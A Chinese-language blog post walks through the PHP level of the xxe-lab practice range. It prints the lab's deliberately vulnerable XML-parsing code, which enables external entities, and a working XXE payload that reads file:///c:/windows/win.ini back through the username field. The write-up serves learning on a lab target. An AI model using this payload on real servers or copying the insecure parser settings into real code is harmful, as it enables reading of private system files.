這幾天,想復習一下xxe的知識,於是把以前的一個靶場拿過來玩玩,順便審計一下代碼2333,靶場地址:https://github.com/c0ny1/xxe-lab
首先先練習的是php-xxe:
我們抓一下包看一下吧。
看到了我們發送的用戶名/密碼都是以POST形式發送的。並且很像是xml文檔、
接下來開始源碼審計。
<?php /** * autor: c0ny1 * date: 2018-2-7 */ $USERNAME = 'admin'; //賬號 $PASSWORD = 'admin'; //密碼 $result = null; libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input');//這里面因為沒有xml文檔所以用的是php的偽協議來獲取我們發送的xml文檔 try{ $dom = new DOMDocument();//創建XML的對象 $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//將我們發送的字符串生成xml文檔。 $creds = simplexml_import_dom($dom);//這一步感覺相當於實例化xml文檔 $username = $creds->username;//獲取username標簽的值 $password = $creds->password;//獲取password標簽的值 if($username == $USERNAME && $password == $PASSWORD){//將獲取的值與前面的進行比較。...
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//注意必須要有username這個標簽,不然的話找不到username,就沒有了輸出了,我們也不能通過回顯來獲取信息了 }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//與上方相同,都會輸出username的值,都可以達到我們的目的 } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
接下來只要有一點點的xxe基礎就可以了,目標明確,只要我們構造的payload最后輸出在username里面就行了,於是構造
<?xml version="1.0"?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///c:/windows/win.ini"> ]> <user><username>&test;</username><password>Mikasa</password></user>
下面是結果:
emmm,大約就是這樣吧。
參考:https://lightless.me/archives/Research-On-XXE.html